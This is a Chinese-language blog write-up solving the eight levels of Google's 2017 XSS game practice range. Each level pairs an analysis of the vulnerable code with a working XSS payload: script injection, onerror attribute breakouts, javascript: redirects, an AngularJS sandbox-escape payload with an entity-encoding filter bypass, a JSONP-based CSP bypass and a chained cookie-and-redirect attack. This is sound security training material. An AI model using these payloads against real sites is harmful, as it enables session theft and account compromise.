Google XSS game(2017)
John_Frod Lv4

Google XSS game(2017)

这是新版的谷歌XSS靶场,每一关的过关条件是能够弹出alert()即可。

地址:http://www.xssgame.com/

Level 1

image-20210309171755100

基础题,直接输入基本的反射型XSS语句:

1
<script>alert(//)</script>

Level 2

image-20210309172238727

和旧版的level 4一样,我们查看页面元素

image-20210309172452175

发现我么在输入框输入的值被传递到了startTimer()函数中,于是我们可以直接闭合掉前一个函数,另外加上alert(),并且把后面的内容注释掉即可:

1
');alert();//

这里网上还有另一种解法是,先查看源码:

1
2
3
4
5
6
7
8
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.loading.style.display = 'none';
window.message.innerHTML = '<a href="?">Go back</a> to the timer setup page';
}, seconds * 1000);
}

这里把我们输入的second做了一个**parseInt(seconds)**处理,当我们输入seconds=’-alert(1)-‘,浏览器先解释运行alert(1),然后再做了两个减法。

1
'-alert(1)-'

Level 3

image-20210309172751104

这里和旧版的 level 5 一样,没有我们输入参数的点

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function chooseTab(name) {
var html = "Cat " + parseInt(name) + "<br>";
html += "<img src='/static/img/cat" + name + ".jpg' />";

document.getElementById('tabContent').innerHTML = html;

// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(name)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
function hashchange() {
if (self.location.hash) {
chooseTab(decodeURIComponent(self.location.hash.substr(1)));
validate();
} else {
chooseTab(1);
}
}

window.onload = hashchange;
window.onhashchange = hashchange;

当我们刷新页面或者改变了#后面的内容时就会使用location.hash把URL中#和它后面的内容作为name,然后调用chooseTab函数,把name作为 img 标签中 src 的一部分进行构造,最后把 img 插入到当前页面中。

这里我们可以把 src 截断,这样他的图片肯定会报错,然后添加一个 onerror 事件执行alert(),最后还要把 img 标签后面的 >补齐

1
' onerror=alert()>

Level4

image-20210309194319372

这一关和旧版的level 5 基本一样,有3个页面,分别是welcome,注册和确定

查看源码

  • welcome.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/static/css/level_style.css" />
<script src="/static/js/js_frame.js"></script>
</head>
<body style="background-color: white;">
<center>
Welcome! Today we are announcing the much anticipated<br>
<img src="/static/img/googlereader.png" /><br>
<a href="signup?next=confirm">Sign up</a> for an exclusive Beta.
</center>
</body>
</html>

这里可以看到,下面的a标签的链接带了一个next参数到signup页面

  • signup.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/static/css/level_style.css" />
<script src="/static/js/js_frame.js"></script>
</head>
<body>
<center>
<img src="/static/img/googlereader-logo.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="confirm?next=welcome">Next >></a>
</center>
</body>
</html>

signup.html 页面下面的 a 标签的链接带了一个next参数到confirm页面

  • confirm.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<script src="/static/js/js_frame.js"></script>
</head>
<body style="background-color: white;">
<center>
<img src="/static/img/googlereader-logo.png" /><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = 'welcome'; }, 1000);
</script>

</center>
</body>
</html>

这个页面把我们在URL中next参数的值作为下一个跳转的地址解析出来,于是我们可以利用这个地方。实际上我们直接访问这个地址即可:

1
http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:alert()

Level 5

image-20210309200545637

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script>
<script>
angular.module('myApp', [])
.controller('myController', ['$scope', function ($scope) {
$scope.query = "";
$scope.alert = window.alert;
}]);

var UTM_PARAMS = ["utm_content", "utm_medium", "utm_source",
"utm_campaign", "utm_term"]

if (location.search) //location.search等于 '?utm_term={{alert()}}'
{
var params = location.search.substring(1).split('&');
//去掉?,拆分&
for (var p in params) {
var r = params[p].split('=');
//拆分=,r等于utm_term,{{alert()}}
if (r.length == 2 && UTM_PARAMS.indexOf(r[0]) != -1) {
var el = document.getElementsByName(r[0]);
//赋值utm_term的value为{{alert()}}
if (el.length) el[0].value = decodeURIComponent(r[1]);
}
}
}
</script>

这一关终于不是旧版的题目了,angular JS 是一个前端框架,爆过模板注入漏洞。这里框架版本是1.5.8版本,这里可以找到这个框架的POC:https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs

location.search 是一个可读可写的字符串,可设置或返回当前 URL 的查询部分(问号 ? 之后的部分)

1
?utm_term={{alert()}}

这里明明是1.5.8的版本为什么能直接使用{{alert()}}就可以了呢,还没学模板注入搞不懂。

Level 6

image-20210309204550025

输入123查看输出点

1
<p ng-non-bindable>Sorry, no results were found for <b>123</b>.</p>

ng-non-bindable 指令用于告诉 AngularJS 当前的 HTML 元素或其子元素不需要编译。因此这里无法被利用。

另外一个输出点是在form表单的action,我们在URL中输入参数?query=1会在action中显示出来。同时注意到这里使用的是1.2.0的angular框架。

image-20210309205640130

angular 1.2.0 的payload是

1
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

image-20210309205853997

发现左边的大括号{被过滤了,这里使用到了 HTML实体编码(HTML Entity)

一个HTML Entity都含有2种转义格式:Entity Name 和 Entity Number

比如 { 的Entity Name是 &lcub; Entity Number是&#123;

把{ 替换为 &lcub;

1
&lcub;&lcub;a='constructor';b=&lcub;};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

Level 7

image-20210309210542726

CSP 的实质就是白名单制度,它明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

这里设置了,只能访问两个网址:

image-20210310094306764

再看网络请求有一个jsonp?menu=about请求,返回的是callback

image-20210310094348990

JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script>元素标签,远程调用 JSON 文件来实现数据传递。

源码结尾引入了/static/js/level7.js,我们来看看js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* Ask server side what to display.
*/
//找到 URL 中 “menu=?” 的参数,并把?参数动态拼接成一个 <script> 标签,来访问资源。
//atob 对应的是 Base64 编码方式的解码操作,对应的,btoa就是编码
function main() {
var m = location.search.match('menu=(.*)');
var menu = m ? atob(m[1]) : 'about';
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}

/**
* Display stuff returned from server side.
* @param {string} data - JSON data from server side
*/
// 通过代码判断,data 应该是 json 格式。
// 取出其中的 title 和 pictures 对应的 value,拼接成 HTML 代码,插入到页面中,来访问资源
function callback(data) {
if (data.title) document.write('<h1>' + data.title + '</h1>');
if (data.pictures) data.pictures.forEach(function(url) {
document.write('<img src="/static/img/' + url + '"><br><br>');
});
}

main();

我们关注一下下面这行代码

1
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>'); 

因为 encodeURIComponent 的存在,我们截断 script 标签并加入 img 用 onerror 执行 alert 的方式行不通,写入的内容在转义后会被浏览器解析为一个不会被解析成 html 标签的字符串。

在早期 JSON 出现时候,大家都没有合格的编码习惯。再输出 JSON 时,没有严格定义好 Content-Type( Content-Type: application/json )然后加上 callback 这个输出点没有进行过滤直接导致了一个典型的 XSS 漏洞:
http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>

我们来试着请求一下,发现123回显到了最前面

image-20210310100606514

所以我们可以构造

1
2
http://www.xssgame.com/f/wmOM2q5NJnZS/jsonp?callback=alert(1)%3B%2F%2F
//

image-20210310101624891

  • 过程

给 menu 传入经过 base64 编码后的:

1
<script src='jsonp?callback=alert();//'></script>

再前端会执行

1
document.write('<script src="jsonp?menu=' + <script src='jsonp?callback=alert();//'></script> + '"></script>')

把这个<script>标签显示在前端,然后前端访问这个标签里面的src,返回

1
callback({"title":"Error, no such menu: <script src='jsonp?callback=alert();//'></script>"})

返回的内容会执行

1
if (data.title) document.write('<h1>' + data.title + '</h1>');

将返回的内容中的title部分显示出来,里面的 <script> 标签触发一个请求,script 而请求的返回内容为:

1
alert();//'></script>({"title":"Welcome to my Website!","pictures":["const.png"]})

alert(); 后面被注释掉,执行 alert();

payload:

1
http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJ0KCk7Ly8nPjwvc2NyaXB0Pg==

Level 8

image-20210310104440678

  • 查看代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* Read cookie.
* @param {string} name - Name of the cookie
* @returns {string} Cookie value
*/
function readCookie(name) {
var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
return match && match[1];
}

var username = readCookie('name');
if (username) {
document.write('<h1>Welcome ' + username + '!</h1>');
}

document.addEventListener("DOMContentLoaded", function(event) {
csrf_token.value = readCookie('csrf_token');
});

HTML页面的生命周期有以下三个重要事件:

  • DOMContentLoaded —— 浏览器已经完全加载了 HTML,DOM 树已经构建完毕,但是像是 <img> 和样式表等外部资源可能并没有下载完毕。
  • load —— 浏览器已经加载了所有的资源(图像,样式表等)。
  • beforeunload/unload —— 当用户离开页面的时候触发。

每个事件都有特定的用途

  • DOMContentLoaded —— DOM 加载完毕,所以 JS 可以访问所有 DOM 节点,初始化界面。
  • load —— 附加资源已经加载完毕,可以在此事件触发时获得图像的大小(如果没有被在 HTML/CSS 中指定)
  • beforeunload/unload —— 用户正在离开页面:可以询问用户是否保存了更改以及是否确定要离开页面。

尝试设置名字为123,点击Set ,有三个参数,name,value,和 redirect(跳转页面)

1
http://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=123&redirect=index

然后,查看cookie,显示 name=123,看来这是设置cookie的值,同时我们发现cookie有个csrf_token,同理我们应该可以这样设置csrf_token的内容

image-20210310110714849

1
set?name=csrf_token&value=token&redirect=index

image-20210310114011334

Wire transfer:

正常情况下:

1
http://www.xssgame.com/f/d9u16LTxchEi/transfer?name=13&amount=123&csrf_token=token

image-20210310114211813

当我们输入amount不是数字,会显示出amount的内容,我们的输出点就在amount了

image-20210310114301503

如果amount的值是payload,会成功弹窗,但是他会提示其他用户打开时候的token和我们的并不一样,因此需要更进一步。

image-20210310114736419

这时候我们回头整理一下,set 可以设置csrf_token,并且有个跳转参数,Wire transfer 可以执行xss攻击;那么我们就可以先在set 设置csrf_token,然后跳转到transfer执行xss攻击,这样不管是谁访问都会受到攻击。

1
set?name=csrf_token&value=token&redirect=transfer?name=god&amount=<script>alert()</script>&csrf_token=token

但我们要注意&符号,如果直接访问,redirect的值只有一部分:transfer?name=god

因此我们要URL编码一下:

1
set?name=csrf_token&value=token&redirect=transfer%3Fname%3Dgod%26amount%3D%3Cscript%3Ealert()%3C%2Fscript%3E%26csrf_token%3Dtoken

参考资料

Google最新XSS Game Writeup

Google xss挑战赛(2017) writeup

XSS Game

  • Post title:Google XSS game(2017)
  • Post author:John_Frod
  • Create time:2021-03-10 12:08:29
  • Post link:https://keep.xpoet.cn/2021/03/10/Google XSS game(2017)/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.